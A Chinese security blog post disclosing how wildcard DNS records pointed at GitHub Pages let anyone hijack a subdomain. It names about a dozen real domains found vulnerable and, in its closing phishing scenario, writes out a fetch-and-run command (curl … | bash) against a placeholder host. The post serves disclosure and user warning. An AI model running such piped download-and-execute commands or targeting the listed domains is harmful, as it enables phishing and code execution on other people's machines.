我们来“劫持”个GitHub自定义域名玩吧!

声明:本文仅作为技术讨论与分享,严禁用于非法用途。

猥琐发育,别浪2333

作为一个国内外项目都不怎么挖的我,比较喜欢拿自己正在使用的服务入手挖洞,毕竟拥有需求又了解业务才能长期跟进,更好的去发现各种流程上出现的毛病。

近日闲得无聊,看了看GitHub Pages服务的更新内容,可以支持自定义域名SSL自动签证了?Emmm… 阔以阔以,blog可以回归托管到github了。

顺便打算给手上每个项目放个查看document的页面,并且分别分配单独的二级域名给每个项目,多咩高端,多咩大气!

但是这么多项目需要一个个增加域名真是好叽儿麻烦哦…

干脆泛解析到github page的服务器吧!之后就只需要在github里绑定域名,就不需要每个项目再去增加DNS解析了!

哎?泛解析到公共服务器?…

常规“打野挖洞”的思路告诉我,这个单方面绑定域名的设置方式,必定要出点啥幺蛾子…

域名从DNS解析到服务器后端解析到特定项目,流程上可能会有安全问题 每个注册用户都能发布并托管page,这可控性有些广,或许此行可以GANK一波呢…

解析流程中的弱点

批量解析到公共服务器… 但是这个服务器每个人都能部署page… 是不是说…

我可以设置部署到别人的泛解析的域名下?以此劫持某个二级域名,试试用来钓鱼github用户或者看文档的项目使用者呢?

如果某个用户像我所想使用了泛解析来批量给自己项目挂自定义域名,那实际流程会是这样的:

单独二级域名的解析流程: [www.deepwn.com](http://www.deepwn.com) => GitHub Page:

而泛解析域名的解析流程 *.deepwn.com => GitHub Page:

如你所见,如果一个用户自定义域名被泛解析到了GitHub的服务器,当你查询DNS时候,任何二级都会指向GitHub,但是因为没有设置部署指向某个项目,所以会显示GitHub的404页面。

那么问题来了,所有用户都能给自己的项目设置部署,使用的是同样一组GitHub的服务器,并且服务器不会验证你是不是域名所有者,也毫无措施查询是否允许域名绑定到某个项目,所以说只要能找到一个用户设置心大的域名,就能开始劫持之旅了。

比如这个我挂的hijack_demo: http://hijack.michellerobinscreative.com

有多少域名被使用在项目Page上呢?

你可以搜一下,会发现炒鸡多的项目开通了Page,并且每天操作更新page的的频率极其高…

有多少域名可以被劫持呢?

仅仅获取了1天的数据量(700+),就发现了11个可悲的域名… 天呐撸…

2018-05-14 (day: 13—14)

androidx.de
bayes.dk
claudiuandrei.com
crunchbitcoin.com
eskont.ponomarevlad.ru
fwb.app
goldtum.com
hijack.michellerobinscreative.com (这个是我demo用的)
lit.max.pub
paulispace.com
sumit.app
valuate.app

个人建议

GitHub在用户设置域名的时候会检查DNS设置,如果解析错误或者解析有问题将会在设置页面添加提醒。

那么为什么不添加个检查功能,让用户“双向验证”自己使用的域名呢?

就像某些能绑定自定义域名的Mail公共服务一样,让用户添加一条’TXT’解析来验证这个域名只能绑定到某个用户群。这样不就能避免被劫持,进行双向设置嘛?

熊怼面对现实吧

这个问题我早已经发到“GitHub Security Bug Bounty”,但是因为超出项目接受的范围,或许这个设置项的”BUG”并不会有修复变更。

也许会在之后GitHub更新中才会出现缓解措施,所以我写下此文也只是想警戒各位GitHub用户需要主动去面对和进行检查。

所以,在没有添加类似的溯源检查服务之前,请务必注意自己的解析设定避免被劫持钓鱼的麻烦。

PS: 万一被劫持,用来钓鱼你的GitHub账号?再或者劫持你的某二级域名,克隆你项目的document页面,挂上一个恶意的“升级配置脚本”,再给使用你开源项目的用户发送钓鱼的升级页面或者补丁地址?在或者干脆发送个钓鱼的“一键补丁”curl -sL [http://patch.example.com/update.sh](http://patch.example.com/update.sh) | bash

其实从社工角度,可操作的范围还挺广,万一目标项目有泛解析问题,成本低到开个新repo就行。

我们可以看到help页面已经添加了关于这个问题的警告,但问题是有多少人会看到和留意到这条内容呢?真是尴尬的解决方式…

https://help.github.com/articles/troubleshooting-custom-domains/#unsupported-custom-domain-name.

从h1报告的回复看来,GitHub并不会在近期修改服务去解决这个问题,那么在出现缓解方式和修复方案出现前,我们只能靠告知更多人去了解问题,让大家主动提高安全意识了。

我写了个吊儿郎当的POC提醒你

https://github.com/deepwn/GitPageHijack/

别特么在Page自定义域名里使用泛解析 !!! 别特么在Page自定义域名里使用泛解析 !!! 别特么在Page自定义域名里使用泛解析 !!!

dev with love & hack with love :)

*本文原创作者:evil7,本文属FreeBuf原创奖励计划,未经许可禁止转载

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-05-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏开源优测

你离测试开发还有多远?

你可能差20000行代码的积累,但你写了200行的hello world来告诉自己不行

10030
来自专栏FreeBuf

MacOS再次出现漏洞,号称牢不可破的系统也有弱点

本文讲述了我在苹果的macOS系统内核中发现的几个堆栈和缓冲区溢出漏洞,苹果官方将这几个漏洞归类为内核中的远程代码执行漏洞,因此这些漏洞的威胁级别非常高。攻击者...

11220
来自专栏IT大咖说

运维老鸟阐述:沪江从DNS到httpdns的演进

摘要 HttpDNS服务是一款可以有效解决域名劫持的方案,并且已在各家大厂广泛应用,现已成为一款相当成熟的产品,本次分享主要围绕沪江由DNS到HTTPDNS演进...

52980
来自专栏FreeBuf

记我在HackerOne上参与的一次漏洞众测邀请项目

这是一件关于我参与Hackerone平台某漏洞邀请项目的事,在此我要感谢该项目发起公司,他们友善的态度、及时的漏洞修复和奖金发放效率,让所有存在的提交漏洞都能在...

43140
来自专栏IT技术精选文摘

MongoDB和数据流:使用MongoDB作为Kafka消费者

数据流 在当今的数据环境中,没有一个系统可以提供所有必需的观点来提供真正的洞察力。从数据中获取完整含义需要混合来自多个来源的大量信息。 与此同时,我们不耐烦地...

61860
来自专栏FreeBuf

绕过网站安全狗拦截,上传Webshell技巧总结 | 附免杀PHP一句话

*本文原创作者:1_2,本文属FreeBuf原创奖励计划,未经许可禁止转载 这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法。 思路是:修改...

49290
来自专栏维C果糖

创建 GitHub 仓库的步骤及方法

在「GitHub 主页介绍及修改个人信息」一文中,我们已经对 GitHub 的个人主页有了一些了解,并且完成了对个人信息的修改。但是美中不足的是,我们还没有自己...

27160
来自专栏13blog.site

Intellij IDEA debug模式下项目启动慢/无法启动的事件解决过程记录

项目无法启动了 简单的介绍一下事件过程:周一的早上,收到前端同事抛过来的一个任务,说是一个接口无法正常返回数据,于是就让他把参数发过来,我想试着在本地重现一下并...

1.1K70
来自专栏Python

计算机基础之计算机硬件系统

一.计算机硬件系统概述 所谓计算机硬件系统,就是指构成计算机看得见的,摸得着的实际物理设备。 常见的计算机硬件组成主要由下图各部件组成: ? 现代计算机的结构更...

25450
来自专栏逸鹏说道

当GitHub把我当成DDos攻击者拉进了黑名单中。。。

Github黑名单自救+快速稳定FQ 异常处理汇总-开发工具 http://www.cnblogs.com/dunitian/p/4522988.html 原...

36380

扫码关注云+社区

领取腾讯云代金券